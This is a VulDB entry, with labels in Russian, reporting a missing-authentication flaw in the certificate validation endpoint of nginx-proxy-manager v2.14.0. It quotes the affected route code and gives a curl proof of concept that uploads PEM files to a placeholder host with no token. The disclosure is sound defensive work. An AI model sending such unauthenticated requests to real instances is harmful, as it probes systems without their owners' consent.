| Название | NginxProxyManager nginx-proxy-manager commit c354238 (v2.14.0) Missing Authentication |
|---|
| Описание |
Title: Unauthenticated Certificate Validation Endpoint
Package: nginx-proxy-manager
Affected Versions: confirmed on commit c354238 (v2.14.0)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE: CWE-306 -- Missing Authentication for Critical Function
### Summary
The `POST /api/nginx/certificates/validate` endpoint is accessible without any authentication. Any unauthenticated user can submit PEM-encoded certificate and private key data; the server runs openssl on the uploaded files and returns parsed certificate metadata including the common name, issuer, and validity dates.
### Details
The validate route applies the `jwtdecode()` middleware but never calls `access.can()`, which means no token is required to reach the handler:
`backend/routes/nginx/certificates.js` lines 164-191:
```javascript
router
.route("/validate")
.options((_, res) => { res.sendStatus(204); })
.all(jwtdecode())
.post(async (req, res, next) => {
if (!req.files) {
res.status(400).send({ error: "No files were uploaded" });
return;
}
try {
const result = await internalCertificate.validate({ files: req.files });
res.status(200).send(result);
} catch (err) {
// ...
}
});
```
`jwtdecode()` (`backend/lib/express/jwt.js`) only extracts the Bearer token from the Authorization header if one is present -- it does not reject requests that omit it. The downstream `jwt-decode.js` middleware calls `access.load()`, which silently returns when no token is provided. Because the handler proceeds directly to `internalCertificate.validate()` without ever calling `access.can()`, the entire auth stack is bypassed.
`backend/internal/certificate.js` line 554 confirms the internal `validate` function also contains no permission check:
```javascript
validate: (data) => {
// ... writes each file to a temp path and calls openssl
_.map(files, (content, type) => {
if (type === "certificate_key") {
resolve(internalCertificate.checkPrivateKey(content));
} else {
resolve(internalCertificate.getCertificateInfo(content, true));
}
});
```
By contrast, all other certificate routes (`GET /`, `POST /`, `POST /test-http`, etc.) require a valid JWT and at least `certificates:list` permission.
### PoC
No account required. Run against a live NPM instance:
```bash
# Generate a test certificate
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes \
-subj "/CN=test.example.com" 2>/dev/null
# Submit without any Authorization header
curl -s http://<NPM_HOST>:81/api/nginx/certificates/validate \
-X POST \
-F "[email protected];type=application/x-pem-file" \
-F "[email protected];type=application/x-pem-file"
```
Expected response (HTTP 200):
```json
{
"certificate": {
"cn": "test.example.com",
"issuer": "CN = test.example.com",
"dates": { "from": 1779424158, "to": 1779510558 }
},
"certificate_key": true
}
```
### Impact
Any unauthenticated attacker on the network can submit arbitrary PEM data to this endpoint and receive openssl-parsed certificate metadata. While no data is stored and no system state is modified, the endpoint exposes functionality that requires a valid account on every other route. The primary risk is incidental: the openssl binary processes attacker-supplied file content without authentication, and any future openssl parsing vulnerability would be reachable without credentials.
|
|---|
| Источник | ⚠️ https://github.com/NginxProxyManager/nginx-proxy-manager/issues/5594 |
|---|
| Пользователь | geochen (UID 78995) |
|---|
| Представление | 24.08.2026 02:04 (28 дни назад) |
|---|
| Модерация | 19.09.2026 12:14 (26 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 407923 [NginxProxyManager nginx-proxy-manager до 2.15.1 Validate Route certificate.js internalCertificate.validate слабая аутентификация] |
|---|
| Баллы | 20 |
|---|